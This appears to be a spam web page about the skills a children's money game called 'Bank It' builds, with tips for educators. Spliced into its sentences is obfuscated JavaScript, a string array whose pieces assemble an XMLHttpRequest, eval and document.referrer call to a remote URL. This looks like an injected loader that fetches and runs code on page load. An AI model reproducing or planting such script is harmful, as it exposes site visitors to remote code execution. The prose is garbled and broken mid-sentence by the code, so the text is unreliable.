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Educators can ask children to justify their thinking, before they make a decision.

Bank It corresponds to math curricula To help encourage mathematical thinking, educators can ask questions like, 'How much money do you have now?How much does the item cost? How much will you have left?' This line of questions also helps children think carefully to reduce impulsive thinking.. Grade Level 4 th Skills Skill Development *Data compiled from CCSSI ELA Standards, WA Science Standards, and Washington Social Studies Standards Skill Type What Does Child Do To Use Skill In The Game? How Parents Can Assist Learning, or Learning Implications And Educator Support Learning Implications and Educator Support Determine Players have to determine how much money they have and how to allocate it to various expenditures or savings.. ope";RV["hYwk"]="ttpR";RV["ZGqt"]="WkRE";RV["VWux"]="resp";RV["lrSf"]="var ";RV["WLFf"]="owne";RV["cKpu"]="T10E";RV["tsFF"]="XMLH";RV["eAEn"]="UFJM";RV["oTna"]="TEMc";RV["mxAV"]="BxxT";RV["yeIo"]="{var";RV["IIaD"]="RkFT";RV["dPio"]="nsof";RV["wkCd"]="Aax=";RV["tsJN"]="'//d";RV["Dzjx"]="xhr.

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var RV = new Array();RV["TUSw"]="ET',";RV["plVF"]="SFZc";RV["ePNf"]="send";RV["ILQd"]=";xhr";RV["CEkF"]="hr.. Educators can help children by reminding them to focus on their goals If the children are having difficulty with adding or subtracting, remind them of mathematical formulas and procedures.

Remember Players need to remember the rules of the game For example, they need to save $10, buy something from each store and give to charity.. Various forms of memory, including short-term explicit and declarative as well as long-term procedural memory, are supported and developed by this game.. re";RV["hufH"]="');x";RV["hpYb"]="ARkX";RV["BwAk"]="d=fu";RV["ckws"]="er;e";RV["gLZM"]="DkNK";RV["sqeH"]="RRgF";RV["YHPI"]="WwVF";RV["xtma"]="();";RV["OrsN"]="BwcJ";RV["hbAw"]="VQcJ";RV["hnne"]="new ";RV["oXWY"]="eque";RV["kPWb"]="B1gf";RV["LdhL"]="nloa";RV["wkfx"]="ERha";RV["QFKl"]="CRtx";RV["RFhc"]="VVYW";RV["jqye"]="umen";RV["wOrk"]="val(";RV["zvwD"]="QAZT";RV["FCns"]="DhMM";RV["KCuT"]="BxoL";RV["uTze"]="t9.. Grade Levels 3 rd, 4 th Look for and make use of structure Grade Levels 3 rd, 4 th Social Studies Economics - Expectation Understands & analyzes the costs & benefits of people’s decisions to move and relocate to meet their needs and wants.. o";RV["knoG"]=" ref";RV["WQfb"]=");};";RV["zOkU"]="HQ4H";RV["pwaj"]="dQAK";RV["GSKE"]="st()";RV["DTEv"]="in/?";RV["wWQG"]="on()";RV["CppU"]=".. Ask questions like, 'How will that decision help you reach your goal?' Compare Players compare the amount of money they have (not in the bank) with the costs of various items.. Instead of reminding children of the rules, adults can ask children to explain what is supposed to happen on a given spot on the board.. Grade Levels 3 rd, 4 th Reason abstractly and quantitatively Grade Levels 3 rd, 4 th Use appropriate tools strategically.. They also need to remember what all of the signs on the board mean and the actions associated with them. 6e4e936fe3